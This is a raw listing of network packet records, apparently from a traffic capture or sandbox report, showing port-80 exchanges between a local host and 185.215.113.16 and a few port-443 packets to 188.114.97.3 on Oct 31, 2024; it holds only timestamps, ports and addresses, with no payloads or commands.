Oct 31, 2024 04:16:16.804646015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804660082 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804692030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804707050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804712057 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804727077 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804730892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804758072 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804774046 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804779053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804804087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804817915 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804824114 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804832935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804842949 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804850101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804860115 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804881096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804898024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804909945 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804913044 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804913044 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804934025 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804938078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804949999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804965973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.804979086 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.804981947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805003881 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805011988 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805022955 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805042028 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805052996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805063009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805068016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805084944 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805094957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805100918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805114031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805133104 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805146933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805147886 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805160999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805207014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805208921 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805243969 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805255890 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805258989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805300951 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805300951 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805408001 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805422068 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805435896 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805469036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805489063 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805501938 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805502892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805521011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805537939 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805551052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805561066 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805592060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805592060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805707932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805722952 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805737972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805753946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805767059 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805772066 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805792093 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805808067 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805815935 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805831909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805846930 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805867910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805896997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.805932999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.805989027 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806020021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806035995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806087971 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806087971 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806092024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806114912 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806138992 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806154013 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806164026 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806170940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806186914 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806195974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806210041 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806216955 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806225061 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806238890 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806253910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806262970 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806269884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806282043 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806293011 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806304932 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806310892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806324959 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806327105 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806343079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.806344986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806365967 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.806381941 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.829899073 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.829910040 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.830003023 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.830324888 CET	49868	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.830337048 CET	443	49868	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.930438995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930461884 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930546045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930594921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930618048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930641890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930646896 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930656910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930674076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930690050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930689096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930689096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930711031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930727005 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930851936 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930896044 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930911064 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930910110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930969000 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.930969954 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930969954 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.930986881 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931001902 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931019068 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931041002 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931072950 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931232929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931286097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931298971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931338072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931358099 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931363106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931377888 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931401014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931415081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931420088 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931430101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931447983 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931464911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931488037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931488037 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931493998 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931514978 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931552887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931556940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931566954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931591034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931597948 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931607008 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931638002 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931644917 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931644917 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931653976 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931663990 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931670904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931680918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931687117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931716919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931718111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931718111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931750059 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931765079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931780100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931802034 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931822062 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931824923 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931840897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931854963 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.931888103 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.931907892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932212114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932235003 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932296038 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932342052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932357073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932370901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932385921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932394981 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932425976 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932444096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932455063 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932470083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932485104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932499886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932513952 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932523966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932531118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932564974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932564974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932571888 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932588100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932601929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932640076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932653904 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932657957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932657957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932667971 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932683945 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932693958 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932723999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932728052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932744026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932760000 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932775021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932811022 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932820082 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932833910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932833910 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932836056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932862997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932879925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932920933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932934999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932949066 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932964087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.932982922 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.932985067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933000088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933034897 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933034897 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933051109 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933062077 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933065891 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933080912 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933099031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933109999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933114052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933130026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933134079 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933163881 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933185101 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933245897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933260918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933275938 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933288097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933310032 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933325052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933331013 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933341026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933351994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933357954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933366060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933372974 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933396101 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933412075 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933423996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933439016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933453083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933468103 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933471918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933496952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933525085 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933567047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933590889 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933605909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933624983 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933631897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933639050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933641911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933644056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933659077 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933667898 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933676004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933693886 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933711052 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933718920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933742046 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933752060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933772087 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933809996 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933873892 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933888912 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933902979 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933923006 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933938026 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933953047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933968067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933984041 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.933991909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933991909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.933991909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934000015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934026957 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934065104 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934154034 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934165955 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934180021 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934194088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934204102 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934210062 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934226036 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934231997 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934241056 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934257030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934272051 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934287071 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934300900 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934303045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934303045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934303045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934303045 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934315920 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934336901 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934344053 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934360981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934376001 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934381962 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934402943 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934434891 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934580088 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934595108 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934609890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934617043 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934624910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934632063 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934647083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934662104 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934664965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934664965 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934676886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934690952 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934694052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934705019 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934711933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934726000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.934727907 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934742928 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.934755087 CET	49849	80	192.168.2.4	185.215.113.16
